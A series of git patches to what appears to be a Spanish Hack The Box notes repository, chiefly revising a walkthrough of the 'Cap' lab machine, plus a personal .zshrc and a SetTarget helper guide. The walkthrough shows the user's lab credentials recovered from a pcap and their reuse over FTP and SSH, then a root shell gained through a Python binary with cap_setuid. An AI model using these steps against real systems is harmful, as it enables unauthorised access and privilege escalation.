01-02-17](https://user-images.githubusercontent.com/103068924/167512847-8dd4d2cc-9080-4e24-b393-b93972a6b6bf.png) +### TShark + Para poder ver el binario vamos a utilizar la herramienta `tshark`. En caso de no tenerla podeís descargarla utilizando el siguiente comando: sudo apt install tshark @@ -128,6 +132,8 @@ Mediante los siguientes parámetros podríamos filtrar el archivo para solo repo ![Captura de pantalla -2022-05-07 14-27-41](https://user-images.githubusercontent.com/103068924/167513759-253ccb44-6e98-4e92-b848-793aaab8db70.png) +### FTP Shell: + Visto esto, vamos a tratar de conectarnos mediante `ftp` con las credenciales que hemos econtrado. ftp 10.10.10.245 @@ -161,6 +167,8 @@ Abrimos una terminal nueva y nos dirigimos a nuestro directorio `content`, si he ![Captura de pantalla -2022-05-07 14-34-43](https://user-images.githubusercontent.com/103068924/167515100-2f0efbfd-5f1f-4761-9bcd-efc9c249af64.png) +### Shell SSH + Ahora, para tratar de conseguir la flag del `root`, como la shell por ftp nos ha estado dando problemas con algunos comandos, vamos a tratar de establecer conexioón mediante el servicio `ssh` y utilizando las mismas credenciales: ssh nathan@10.10.10.245 @@ -174,6 +182,8 @@ Primero vamos a tratar de ver si tenemos algún tipo de privilegios: ![Captura de pantalla -2022-05-07 14-44-17](https://user-images.githubusercontent.com/103068924/167515911-dbd2791b-dfb6-44f4-835a-a28aaae4b1fd.png) Vemos que nos pide una password y por desgracia no nos sirve la misma que hemos utilizado anteriormente. + +### GetCap Ahora para tratar de enumerar archivos de interes utilizaremos `getcap` muestra el nombre y las capacidades de cada archivo especificado. En el caso de no disponer de `getcap` podemos descargarlo de la siguiente manera: From c84d90017ad216b3ee5c405764eb1043f5df0e24 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 02:12:32 +0200 Subject: [PATCH 0253/1701] Update HTB-Cap.md --- Maquinas-HTB/HTB-Cap.md | 57 ++++++++++++++++++++--------------------- 1 file changed, 28 insertions(+), 29 deletions(-) diff --git a/Maquinas-HTB/HTB-Cap.md b/Maquinas-HTB/HTB-Cap.md index cb4e9182c9c..8b8df7e60f1 100644 --- a/Maquinas-HTB/HTB-Cap.md +++ b/Maquinas-HTB/HTB-Cap.md @@ -32,7 +32,7 @@ Ahora vamos a ver mediante `whatweb` que más podemos ver: ![Captura de pantalla -2022-05-09 23-01-58](https://user-images.githubusercontent.com/103068924/167497948-0a37ea37-6d93-4b33-9ca9-c55c76d70e0a.png) -Vemos que no nos reporta nada interesante, asi que vamos a proceder mediante [`Nmap`](../Herramientas_y_Scripts/Nmap.html) a tratar de reportar todos +Vemos que no nos reporta nada interesante, así que vamos a proceder mediante [`Nmap`](../Herramientas_y_Scripts/Nmap.html) a tratar de reportar todos los puertos abiertos. ### NMAP @@ -45,29 +45,28 @@ Ahora mediante `nmap` realizaremos un escaneo de puertos: `--open` : Solo nos mostrará puertos con el estatus abierto. -`-sS` : El escaneo SYN realizar rápidamente, escaneando miles de puertos por segundo en una red rápida que no se ve obstaculizada por firewalls intrusivos. +`-sS` : El escaneo SYN actuar rápidamente, escaneando miles de puertos por segundo en una red rápida que no se ve obstaculizada por firewalls intrusivos. `--min-rate` : Controla directamente la tasa de escaneo. Nmap intentará mantener la velocidad de envío en 5000 paquetes por segundo o más. -`-vvv` : Triple verbose. Recopila los puertos abiertos por TCP y los reporta por consola. Cuanto más verbose más información reporta mientras se realiza el escaneneo. +`-vvv` : Triple verbose. Recopila los puertos abiertos por TCP y los reporta por consola. Cuanto más verbose más información reporta mientras se ejecuta el escaneo. `-n` : Anula la resolución DNS. ![Captura de pantalla -2022-05-07 13-52-00](https://user-images.githubusercontent.com/103068924/167500289-9afcfe91-4323-44cd-a5ad-8ca0edc08fca.png) -Vemos como los puertos 21,22 y 80 están abiertos y que en los tres corren servicios interesantes -vamos a tratar de realizar meidante una serie de scripts básicos de reconocimiento un segundo escaneo -enfocandonos en los puertos que hemos encontrado abiertos: +Vemos como los puertos 21,22 y 80 están abiertos y que en los tres corren servicios interesantes vamos a tratar de realizar mediante una serie de +scripts básicos de reconocimiento un segundo escaneo enfocándonos en los puertos que hemos encontrado abiertos: - nmap -sC -sV -p[Port1,Port2] -oN targed + nmap -sC -sV -p21,22,80 -oN targed -`-sC` : Lanza scrips básicos de reconocimiento. +`-sC` : Lanza scripts básicos de reconocimiento. `-sV` : Localiza la versión y servicio de los puertos definidos. -`-p` : Puertos a escanear. Ej: -p22,80 +`-p` : Puertos a escanear. -`-oN` : Reporta los resultados en formato nmap al archivo `targed`. +`-oN` : Reporta los resultados en formato nmap al archivo `target`. ![Captura de pantalla -2022-05-07 13-54-13](https://user-images.githubusercontent.com/103068924/167502535-93afc986-095d-4786-8a59-728035938efc.png) @@ -76,7 +75,7 @@ enfocandonos en los puertos que hemos encontrado abiertos: ![Captura de pantalla -2022-05-07 13-55-36](https://user-images.githubusercontent.com/103068924/167502619-5dd465e6-f94e-46d2-8869-c75cd24e9206.png) -Vemos que por el puerto 80 corre un servicio `http` con la versión `gunicorn`. Vamos a tratar de acceder al +Vemos que por el puerto 80 corre un servicio `http` con la versión `gunicorn`. Vamos a tratar de acceder al dominio `http://10.10.10.245` utilizando el navegador, en mi caso Firefox. ![Captura de pantalla -2022-05-07 14-02-57](https://user-images.githubusercontent.com/103068924/167509698-bcb004cf-b653-4e2e-adc5-277990de1fe2.png) @@ -84,29 +83,29 @@ dominio `http://10.10.10.245` utilizando el navegador, en mi caso Firefox. ![Captura de pantalla -2022-05-07 14-03-07](https://user-images.githubusercontent.com/103068924/167509714-b3cca34c-4442-4cf2-8718-0a61317323b0.png) Vemos como el dominio nos lleva hasta un panel de gráficos de un usuario llamado `Nathan`. Tras investigar la página, vemos como arriba a la izquierda -tenemos un menu desplegable y me llama especialmente la atención el apartado `Security Snapshot (5 Second PCAP + Analysis)`. +tenemos un menú desplegable y me llama especialmente la atención el apartado `Security Snapshot (5 Second PCAP + Analysis)`. ![Captura de pantalla -2022-05-07 14-03-40](https://user-images.githubusercontent.com/103068924/167510011-d6d88eeb-de95-47f3-908a-22139d617c63.png) -Vemos como nos muestra una página que parece contener archivos guardados y donde tambien tenemos un boton de `Download`. Algo que es intersante es ver como nos +Vemos como nos muestra una página que parece contener archivos guardados y donde también tenemos un botón de `Download`. Algo que es interesante es ver como nos indica el directorio actual mediante el número `3`. ![Captura de pantalla -2022-05-10 00-46-06](https://user-images.githubusercontent.com/103068924/167511204-af909e73-082c-4807-ab48-82dcf377c0a2.png) -Tras probar otros números, veo que esxisten varias páginas de ficheros empezando desde el `0` que parece ser la página que más archivos tiene guardados. -Vamos a pulsar `Donwload` y descargarnos el archivo para ver de que se trata. +Tras probar otros números, veo que existen varias páginas de ficheros empezando desde el `0` que parece ser la página que más archivos tiene guardados. +Vamos a pulsar `Donwload` y descargarnos el archivo para ver que se trata. ![Captura de pantalla -2022-05-07 14-03-40](https://user-images.githubusercontent.com/103068924/167511798-87eca5db-67a7-4b8d-9ae2-566f7c8e1c29.png) ![Captura de pantalla -2022-05-10 00-47-49](https://user-images.githubusercontent.com/103068924/167511794-b5f0fc92-be67-44bd-b416-f25a6fec4e59.png) -Vamos a llevar el archivo al directorio `content` donde vamos a realizar primeramente un `cat` para ver de que se trata y vemos que el arhivo contiene un binario. +Vamos a llevar el archivo al directorio `content` donde vamos a realizar primeramente un `cat` para ver que se trata y vemos que el archivo contiene un binario. ![Captura de pantalla -2022-05-10 01-02-17](https://user-images.githubusercontent.com/103068924/167512847-8dd4d2cc-9080-4e24-b393-b93972a6b6bf.png) ### TShark -Para poder ver el binario vamos a utilizar la herramienta `tshark`. En caso de no tenerla podeís descargarla utilizando el siguiente comando: +Para poder ver el binario vamos a utilizar la herramienta `tshark`. En caso de no tenerla podéis descargarla utilizando el siguiente comando: sudo apt install tshark @@ -118,7 +117,7 @@ Una vez instalado vamos a tratar de leer el archivo: ![Captura de pantalla -2022-05-07 14-18-38](https://user-images.githubusercontent.com/103068924/167512817-3c665977-b629-42e0-a2d5-c62c2ef9f88d.png) -Tras revisar el contenido vemos que por el centro del archivo se ecuntran las credenciales de un usuario. Nos muestra un user `nathan` y una PASS `Buck3tH4TF0RM3!`. +Tras revisar el contenido vemos que por el centro del archivo se encuentran las credenciales de un usuario. Nos muestra un user `nathan` y una PASS `Buck3tH4TF0RM3!`. ![Captura de pantalla -2022-05-07 14-19-36](https://user-images.githubusercontent.com/103068924/167513339-64286ff5-a981-419b-94cc-6ff2effed285.png) @@ -134,7 +133,7 @@ Mediante los siguientes parámetros podríamos filtrar el archivo para solo repo ### FTP Shell: -Visto esto, vamos a tratar de conectarnos mediante `ftp` con las credenciales que hemos econtrado. +Visto esto, vamos a tratar de conectarnos mediante `ftp` con las credenciales que hemos encontrado. ftp 10.10.10.245 @@ -144,7 +143,7 @@ Perfecto vemos como nos permite conectarnos como el usuario `nathan`. Lo primero passive -Ahora realizando un `ls` vemos como ahí se encuntra el archivo `user.txt` con la primera flag. +Ahora ejecutando un `ls` vemos como ahí se encuentra el archivo `user.txt` con la primera flag. ![Captura de pantalla -2022-05-07 14-32-01](https://user-images.githubusercontent.com/103068924/167514474-3015b4d9-f036-4091-804f-fe88709a3a20.png) @@ -156,12 +155,12 @@ Al revisar mediante la variable `help` las opciones que podemos utilizar: ![Captura de pantalla -2022-05-07 14-33-24](https://user-images.githubusercontent.com/103068924/167514823-45792852-cd79-4a11-8874-52712fdf2523.png) -Vemos que está displonible el comando `get`, asi que vamos a tratar de descargarnos el archivo -hasta nuestro respositorio. +Vemos que está disponible el comando `get`, así que vamos a tratar de descargarnos el archivo +hasta nuestro repositorio. ![Captura de pantalla -2022-05-07 14-33-52](https://user-images.githubusercontent.com/103068924/167514855-3749a186-347f-4a9e-9682-3e08ef3997a7.png) -Abrimos una terminal nueva y nos dirigimos a nuestro directorio `content`, si hemos ejecutado anteriormente la shell ftp desde aquí, vemos como se nos abrá descargado en este directorio el archivo `user.txt`. +Abrimos una terminal nueva y nos dirigimos a nuestro directorio `content`, si hemos ejecutado anteriormente la shell ftp desde aquí, vemos como se nos abra descargado en este directorio el archivo `user.txt`. ![Captura de pantalla -2022-05-07 14-34-30](https://user-images.githubusercontent.com/103068924/167515085-9308eeb3-3c49-470c-beab-bc7ccffd6da5.png) @@ -169,7 +168,7 @@ Abrimos una terminal nueva y nos dirigimos a nuestro directorio `content`, si he ### Shell SSH -Ahora, para tratar de conseguir la flag del `root`, como la shell por ftp nos ha estado dando problemas con algunos comandos, vamos a tratar de establecer conexioón mediante el servicio `ssh` y utilizando las mismas credenciales: +Ahora, para tratar de conseguir la flag del `root`, como la shell por ftp nos ha estado dando problemas con algunos comandos, vamos a tratar de establecer conexión mediante el servicio `ssh` y utilizando las mismas credenciales: ssh nathan@10.10.10.245 @@ -181,22 +180,22 @@ Primero vamos a tratar de ver si tenemos algún tipo de privilegios: ![Captura de pantalla -2022-05-07 14-44-17](https://user-images.githubusercontent.com/103068924/167515911-dbd2791b-dfb6-44f4-835a-a28aaae4b1fd.png) -Vemos que nos pide una password y por desgracia no nos sirve la misma que hemos utilizado anteriormente. +Vemos que nos pide un password y por desgracia no nos sirve la misma que hemos utilizado anteriormente. ### GetCap -Ahora para tratar de enumerar archivos de interes utilizaremos `getcap` muestra el nombre y las capacidades de cada archivo especificado. +Ahora, para tratar de enumerar archivos de interés usaremos `getcap` muestra el nombre y las capacidades de cada archivo especificado. En el caso de no disponer de `getcap` podemos descargarlo de la siguiente manera: getcap -r / 2>/dev/null ![Captura de pantalla -2022-05-07 14-52-31](https://user-images.githubusercontent.com/103068924/167515850-8374e20f-b072-4f01-8b53-e0bf3beb8e85.png) - Vemos como se nos reporta un archivo llamado `cap_setuid` y que esta siendo ejecutado en `Python3.8`. + Vemos como se nos reporta un archivo llamado `cap_setuid` y que está siendo ejecutado en `Python3.8`. ![Captura de pantalla -2022-05-07 14-53-07](https://user-images.githubusercontent.com/103068924/167516218-a13658d9-7756-425f-9ad9-3f0003d7e9d6.png) -Tras buscar información sobre vulnerabilidades basdas en Python3.8 y he encontrado los siguientes comandos que nos permiter crear una shell en bash resgistrandonos automaticamnte como `root`. +Tras buscar información sobre vulnerabilidades bandas en Python3.8 y he encontrado los siguientes comandos que nos permite crear una shell en bash registrándonos automáticamente como `root`. Para ello vamos a introducir los siguientes comandos: import os @@ -213,7 +212,7 @@ Para ello vamos a introducir los siguientes comandos: ![Captura de pantalla -2022-05-07 14-55-13](https://user-images.githubusercontent.com/103068924/167516669-79d3c0f6-cdc5-49a8-973f-7213ceb17d17.png) -Vemos como ha funcionado y ya tenemos nuesta shell en `bash` y si ejecutamos el comando `whoami` podemos ver como como estamos registrado como root. Finalmente, podemos encontrar la flag del achivo root dentro del directorio +Vemos como ha funcionado y ya tenemos nuestra shell en `bash` y si ejecutamos el comando `whoami` podemos ver como estamos registrados como `root`. Finalmente, podemos encontrar la flag del archivo root dentro del directorio `/root/root.txt`. ![Captura de pantalla -2022-05-07 14-55-46](https://user-images.githubusercontent.com/103068924/167517012-2a3a59e2-936b-4d18-a8ca-dab713d8e85f.png) From 6109c925828715e0cd1ba357e54f19462e918382 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 02:14:27 +0200 Subject: [PATCH 0254/1701] Update HTB-Cap.md --- Maquinas-HTB/HTB-Cap.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/Maquinas-HTB/HTB-Cap.md b/Maquinas-HTB/HTB-Cap.md index 8b8df7e60f1..035807bfb93 100644 --- a/Maquinas-HTB/HTB-Cap.md +++ b/Maquinas-HTB/HTB-Cap.md @@ -13,7 +13,7 @@ Ahora, mediante la función [`mkt`](../Herramientas_y_Scripts/mkt.html) que teng Esta función está definida para crearnos cuatro directorios (`nmap`, `content`, `exploits` y `scripts`) desde los cuales poder trabajar a la hora de realizar las máquinas de HTB. -### PING +## PING Ejecutamos un `ping` y vemos como nos reporta un ttl=63, por tanto, ya sabemos que estamos frente una máquina Linux. @@ -24,7 +24,7 @@ Ejecutamos un `ping` y vemos como nos reporta un ttl=63, por tanto, ya sabemos q Verificamos mediante la herramienta [WishSystem](../Herramientas_y_Scripts/WichSistem.html) que nos encontramos frente a un sistema Linux. -### WhatWeb +## WhatWeb Ahora vamos a ver mediante `whatweb` que más podemos ver: @@ -35,7 +35,7 @@ Ahora vamos a ver mediante `whatweb` que más podemos ver: Vemos que no nos reporta nada interesante, así que vamos a proceder mediante [`Nmap`](../Herramientas_y_Scripts/Nmap.html) a tratar de reportar todos los puertos abiertos. -### NMAP +## NMAP Ahora mediante `nmap` realizaremos un escaneo de puertos: @@ -103,7 +103,7 @@ Vamos a llevar el archivo al directorio `content` donde vamos a realizar primera ![Captura de pantalla -2022-05-10 01-02-17](https://user-images.githubusercontent.com/103068924/167512847-8dd4d2cc-9080-4e24-b393-b93972a6b6bf.png) -### TShark +## TShark Para poder ver el binario vamos a utilizar la herramienta `tshark`. En caso de no tenerla podéis descargarla utilizando el siguiente comando: @@ -131,7 +131,7 @@ Mediante los siguientes parámetros podríamos filtrar el archivo para solo repo ![Captura de pantalla -2022-05-07 14-27-41](https://user-images.githubusercontent.com/103068924/167513759-253ccb44-6e98-4e92-b848-793aaab8db70.png) -### FTP Shell: +## FTP Shell: Visto esto, vamos a tratar de conectarnos mediante `ftp` con las credenciales que hemos encontrado. @@ -166,7 +166,7 @@ Abrimos una terminal nueva y nos dirigimos a nuestro directorio `content`, si he ![Captura de pantalla -2022-05-07 14-34-43](https://user-images.githubusercontent.com/103068924/167515100-2f0efbfd-5f1f-4761-9bcd-efc9c249af64.png) -### Shell SSH +## Shell SSH Ahora, para tratar de conseguir la flag del `root`, como la shell por ftp nos ha estado dando problemas con algunos comandos, vamos a tratar de establecer conexión mediante el servicio `ssh` y utilizando las mismas credenciales: From c9cfc5a58ee314747708c55a39e526e7033fb23d Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 11:08:50 +0200 Subject: [PATCH 0255/1701] Create HTB-Legacy.md --- Maquinas-HTB/HTB-Legacy.md | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 Maquinas-HTB/HTB-Legacy.md diff --git a/Maquinas-HTB/HTB-Legacy.md b/Maquinas-HTB/HTB-Legacy.md new file mode 100644 index 00000000000..f4ead979908 --- /dev/null +++ b/Maquinas-HTB/HTB-Legacy.md @@ -0,0 +1,5 @@ +![Captura de pantalla -2022-05-07 18-38-29](https://user-images.githubusercontent.com/103068924/167576923-7c3192f6-a6d4-4764-87eb-6f7433759ad5.png) + +# Hack The Box-Legacy + + From 8573f46131de18b10cc7ed32c15a005ddf29e33e Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 13:33:37 +0200 Subject: [PATCH 0256/1701] =?UTF-8?q?Rename=20Linux/Introducci=C3=B3n=5Fa?= =?UTF-8?q?=5FLinux/ZSH.md=20to=20Linux/Introducci=C3=B3n=5Fa=5FLinux/ZSH/?= =?UTF-8?q?ZSH.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../ZSH.md" => "Linux/Introducci\303\263n_a_Linux/ZSH/ZSH.md" | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename "Linux/Introducci\303\263n_a_Linux/ZSH.md" => "Linux/Introducci\303\263n_a_Linux/ZSH/ZSH.md" (100%) diff --git "a/Linux/Introducci\303\263n_a_Linux/ZSH.md" "b/Linux/Introducci\303\263n_a_Linux/ZSH/ZSH.md" similarity index 100% rename from "Linux/Introducci\303\263n_a_Linux/ZSH.md" rename to "Linux/Introducci\303\263n_a_Linux/ZSH/ZSH.md" From a89d44975278f131eced4203745108e1dfb32110 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 13:36:03 +0200 Subject: [PATCH 0257/1701] =?UTF-8?q?Rename=20Linux/Introducci=C3=B3n=5Fa?= =?UTF-8?q?=5FLinux/ZSH/ZSH.md=20to=20Linux/ZSH/ZSH.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Introducci\303\263n_a_Linux/ZSH/ZSH.md" => Linux/ZSH/ZSH.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename "Linux/Introducci\303\263n_a_Linux/ZSH/ZSH.md" => Linux/ZSH/ZSH.md (100%) diff --git "a/Linux/Introducci\303\263n_a_Linux/ZSH/ZSH.md" b/Linux/ZSH/ZSH.md similarity index 100% rename from "Linux/Introducci\303\263n_a_Linux/ZSH/ZSH.md" rename to Linux/ZSH/ZSH.md From aef5c8c4ac8695e6ade285eea4ac429e4bff8e89 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 13:59:06 +0200 Subject: [PATCH 0258/1701] Create .zshrc --- Linux/ZSH/.zshrc | 139 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 139 insertions(+) create mode 100644 Linux/ZSH/.zshrc diff --git a/Linux/ZSH/.zshrc b/Linux/ZSH/.zshrc new file mode 100644 index 00000000000..85e1dcef3c9 --- /dev/null +++ b/Linux/ZSH/.zshrc @@ -0,0 +1,139 @@ +# Fix the Java Problem +export _JAVA_AWT_WM_NONREPARENTING=1 + +# Enable Powerlevel10k instant prompt. Should stay at the top of ~/.zshrc. +if [[ -r "${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh" ]]; then + source "${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh" +fi + +# Set up the prompt + +autoload -Uz promptinit +promptinit +prompt adam1 + +setopt histignorealldups sharehistory + +# Use emacs keybindings even if our EDITOR is set to vi +bindkey -e + +# Keep 1000 lines of history within the shell and save it to ~/.zsh_history: +HISTSIZE=1000 +SAVEHIST=1000 +HISTFILE=~/.zsh_history + +# Use modern completion system +autoload -Uz compinit +compinit + +zstyle ':completion:*' auto-description 'specify: %d' +zstyle ':completion:*' completer _expand _complete _correct _approximate +zstyle ':completion:*' format 'Completing %d' +zstyle ':completion:*' group-name '' +zstyle ':completion:*' menu select=2 +eval "$(dircolors -b)" +zstyle ':completion:*:default' list-colors ${(s.:.)LS_COLORS} +zstyle ':completion:*' list-colors '' +zstyle ':completion:*' list-prompt %SAt %p: Hit TAB for more, or the character to insert%s +zstyle ':completion:*' matcher-list '' 'm:{a-z}={A-Z}' 'm:{a-zA-Z}={A-Za-z}' 'r:|[._-]=* r:|=* l:|=*' +zstyle ':completion:*' menu select=long +zstyle ':completion:*' select-prompt %SScrolling active: current selection at %p%s +zstyle ':completion:*' use-compctl false +zstyle ':completion:*' verbose true + +zstyle ':completion:*:*:kill:*:processes' list-colors '=(#b) #([0-9]#)*=0=01;31' +zstyle ':completion:*:kill:*' command 'ps -u $USER -o pid,%cpu,tty,cputime,cmd' +source /home/firox/powerlevel10k/powerlevel10k.zsh-theme + +# To customize prompt, run `p10k configure` or edit ~/.p10k.zsh. +[[ -f ~/.p10k.zsh ]] && source ~/.p10k.zsh + +# Manual configuration + +PATH=/root/.local/bin:/snap/bin:/usr/sandbox/:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# Manual aliases +alias ll='lsd -lh --group-dirs=first' +alias la='lsd -a --group-dirs=first' +alias l='lsd --group-dirs=first' +alias lla='lsd -lha --group-dirs=first' +alias ls='lsd --group-dirs=first' +alias cat='/bin/bat' +alias catn='/bin/cat' +alias catnl='/bin/cat --paging=never' + +[ -f ~/.fzf.zsh ] && source ~/.fzf.zsh + +# Plugins +source /usr/share/zsh-syntax-highlighting/zsh-syntax-highlighting.zsh +source /usr/share/zsh-autosuggestions/zsh-autosuggestions.zsh +source /usr/share/zsh-plugins/sudo.plugin.zsh + +# Functions +function mkt(){ + mkdir {nmap,content,exploits,scripts} +} + +# Extract nmap information +function extractPorts(){ + ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{print $1}' FS='/' | xargs | tr ' ' ',')" + ip_address="$(cat $1 | grep -oP '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' | sort -u | head -n 1)" + echo -e "\n[*] Extracting information...\n" > extractPorts.tmp + echo -e "\t[*] IP Address: $ip_address" >> extractPorts.tmp + echo -e "\t[*] Open ports: $ports\n" >> extractPorts.tmp + echo $ports | tr -d '\n' | xclip -sel clip + echo -e "[*] Ports copied to clipboard\n" >> extractPorts.tmp + cat extractPorts.tmp; rm extractPorts.tmp +} + +# Set 'man' colors +function man() { + env \ + LESS_TERMCAP_mb=$'\e[01;31m' \ + LESS_TERMCAP_md=$'\e[01;31m' \ + LESS_TERMCAP_me=$'\e[0m' \ + LESS_TERMCAP_se=$'\e[0m' \ + LESS_TERMCAP_so=$'\e[01;44;33m' \ + LESS_TERMCAP_ue=$'\e[0m' \ + LESS_TERMCAP_us=$'\e[01;32m' \ + man "$@" +} + +# fzf improvement +function fzf-lovely(){ + + if [ "$1" = "h" ]; then + fzf -m --reverse --preview-window down:20 --preview '[[ $(file --mime {}) =~ binary ]] && + echo {} is a binary file || + (bat --style=numbers --color=always {} || + highlight -O ansi -l {} || + coderay {} || + rougify {} || + cat {}) 2> /dev/null | head -500' + + else + fzf -m --preview '[[ $(file --mime {}) =~ binary ]] && + echo {} is a binary file || + (bat --style=numbers --color=always {} || + highlight -O ansi -l {} || + coderay {} || + rougify {} || + cat {}) 2> /dev/null | head -500' + fi +} + +function rmk(){ + scrub -p dod $1 + shred -zun 10 -v $1 +} + +# Función Settarget: + +function settarget(){ + ip_address=$1 + machine_name=$2 + echo "$ip_address $machine_name" > /home/firox/.config/bin/target +} + +# Finalize Powerlevel10k instant prompt. Should stay at the bottom of ~/.zshrc. +(( ! ${+functions[p10k-instant-prompt-finalize]} )) || p10k-instant-prompt-finalize From f47c9f26817c33dcfd21f812b67ab221d75d2285 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 14:08:45 +0200 Subject: [PATCH 0259/1701] Create Settarget.md --- Linux/ZSH/Settarget.md | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 Linux/ZSH/Settarget.md diff --git a/Linux/ZSH/Settarget.md b/Linux/ZSH/Settarget.md new file mode 100644 index 00000000000..80987de24cd --- /dev/null +++ b/Linux/ZSH/Settarget.md @@ -0,0 +1,28 @@ +# SetTarget + +Mediante la siguiente función podremos colocar el nombre y la Ip de las máquinas que estamos realizando en la polybar. + + function settarget(){ + ip_address=$1 + machine_name=$2 + echo "$ip_address $machine_name" > /home/tuUsuario/.config/bin/target + } + + +Para poder tener esta funcion activa simpmente tendremos que pegar la funcion en el archivo `.bashrc` o `.zshrc` dependiendo de si estamos utilizando +una shell Bash o Zsh. En mi caso utilizo Zsh, asi que nos dirigimos al archivo `.zshrc`. + +Copiamos la función. Nos dirigimos hasta nuestro directorio de usuario `/home/Usuario` (Usuario es el vuestro) y mediante el comando `nano` abrimos el archivo y lo pegamos. + + nano .zshrc + +Una vez pegado, guardamos con `Cntrl + o` y salimos `Cntrl +x`. + +Para ejecutar la función simplemente le especificamos la Ip y el nombre de la máquina de Hack the Box: + + settarget [Ip Máquina] [Nombre de la Máquina] + +En caso de no ejecutarse mediante `root`. Nos registramos como `roo` y repetimos la misma operación. + + + From c11ff6ad177dbd8da4fa47ce933f72a91ea5f064 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 14:11:43 +0200 Subject: [PATCH 0260/1701] Update ZSH.md --- Linux/ZSH/ZSH.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/Linux/ZSH/ZSH.md b/Linux/ZSH/ZSH.md index 203865e252b..d080423b905 100644 --- a/Linux/ZSH/ZSH.md +++ b/Linux/ZSH/ZSH.md @@ -59,4 +59,8 @@ La ZSH funciona leyendo el archivo `.zshenv` a menos que se especifique el argum `.zlogin` : Este archivo es similar a .zprofile. No debe contener ningún comando que altere el entorno. `.zlogout` : Se lee cuando se cierra la sesión de la shell. Puede usarse para configurar los comandos que se ejecutan cuando se cierra el shell. + +# Funciones: + +### [Función SetTarget](../Linux/ZSH/Settarget.html) From 461d6bd5adef479188ab148c4b64a30c54b84c4c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 14:13:12 +0200 Subject: [PATCH 0261/1701] Update index.md --- index.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/index.md b/index.md index 3c7ee2c82ed..ecec082e121 100644 --- a/index.md +++ b/index.md @@ -38,7 +38,8 @@ Herramientas útiles para la fase de reconocimiento, como reportes de SO o recop 1.[Nmap](../Herramientas_y_Scripts/Nmap.html) 2.[WichSystem](./Herramientas_y_Scripts/WichSystem.html) 3.[ExtractPorts](./Herramientas_y_Scripts/ExtractPorts.html) -4.[mkt](./Herramientas_y_Scripts/mkt.html) +4.[mkt](./Herramientas_y_Scripts/mkt.html) +5.[SetTarget](./Linux/ZSH/Settarget.html) ## Shells: Herramientas para crear shells inversas. From e34e84e97e9a0f5880881e077bb0bfcda1fe00c4 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 14:15:25 +0200 Subject: [PATCH 0262/1701] Update Settarget.md --- Linux/ZSH/Settarget.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Linux/ZSH/Settarget.md b/Linux/ZSH/Settarget.md index 80987de24cd..8ddf4ff4953 100644 --- a/Linux/ZSH/Settarget.md +++ b/Linux/ZSH/Settarget.md @@ -16,13 +16,13 @@ Copiamos la función. Nos dirigimos hasta nuestro directorio de usuario `/home/U nano .zshrc -Una vez pegado, guardamos con `Cntrl + o` y salimos `Cntrl +x`. +Una vez pegado, guardamos con `Cntrl + o` y salimos `Cntrl + x`. Para ejecutar la función simplemente le especificamos la Ip y el nombre de la máquina de Hack the Box: settarget [Ip Máquina] [Nombre de la Máquina] -En caso de no ejecutarse mediante `root`. Nos registramos como `roo` y repetimos la misma operación. +En caso de no ejecutarse mediante `root`. Nos registramos como `root` y repetimos la misma operación. From 153708e71c9379c36fc363d95fa870b7c81ea72f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 14:46:38 +0200 Subject: [PATCH 0263/1701] Update Settarget.md --- Linux/ZSH/Settarget.md | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/Linux/ZSH/Settarget.md b/Linux/ZSH/Settarget.md index 8ddf4ff4953..5e8eff8546d 100644 --- a/Linux/ZSH/Settarget.md +++ b/Linux/ZSH/Settarget.md @@ -1,5 +1,8 @@ # SetTarget +![Captura de pantalla -2022-05-10 14-01-28](https://user-images.githubusercontent.com/103068924/167631023-2bf197b3-153d-460a-b149-15af88aabb85.png) + + Mediante la siguiente función podremos colocar el nombre y la Ip de las máquinas que estamos realizando en la polybar. function settarget(){ @@ -12,6 +15,8 @@ Mediante la siguiente función podremos colocar el nombre y la Ip de las máquin Para poder tener esta funcion activa simpmente tendremos que pegar la funcion en el archivo `.bashrc` o `.zshrc` dependiendo de si estamos utilizando una shell Bash o Zsh. En mi caso utilizo Zsh, asi que nos dirigimos al archivo `.zshrc`. +![Captura de pantalla -2022-05-10 